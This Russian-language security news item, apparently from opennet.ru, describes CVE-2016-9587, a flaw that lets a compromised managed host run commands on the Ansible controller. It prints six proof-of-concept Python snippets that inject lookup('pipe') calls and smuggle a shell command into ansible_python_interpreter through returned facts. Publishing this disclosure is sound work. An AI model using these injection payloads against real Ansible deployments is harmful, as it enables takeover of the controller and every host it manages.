В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.

Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:


PAYLOAD = "touch /tmp/foobarbaz"
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
	'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
	'ansible_connection': 'local',
	'ansible_become': False,
}
Метод 1, подстановка атрибутов через передачу информации о новом хосте:

data['add_host'] = {
 'host_name': socket.gethostname(),
 'host_vars': INTERPRETER_FACTS,
}
Метод 2, через применение условных операторов:

known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in
 known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:


data['ansible_facts'][known_conditional] = LOOKUP
Метод 3, через подстановку в шаблоне для модуля stat:

data.update({


'stat': {


 'exists': True,


 'isdir': False,


 'checksum': {



'rc': 0,



'ansible_facts': INTERPRETER_FACTS,


 },


}
})
Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:

data['ansible_facts'].update({


'exploit_set_fact': True,


'ansible_os_family':

"#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]",
})
Метод 5, через подстановку шаблона в словарных ключах:

data['ansible_facts'].update({


'exploit_set_fact': True,


'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})

Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:

data['ansible_facts'].update({


'exploit_set_fact': True,


'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})


Источник: http://www.opennet.ru/opennews/art.shtml?num=45842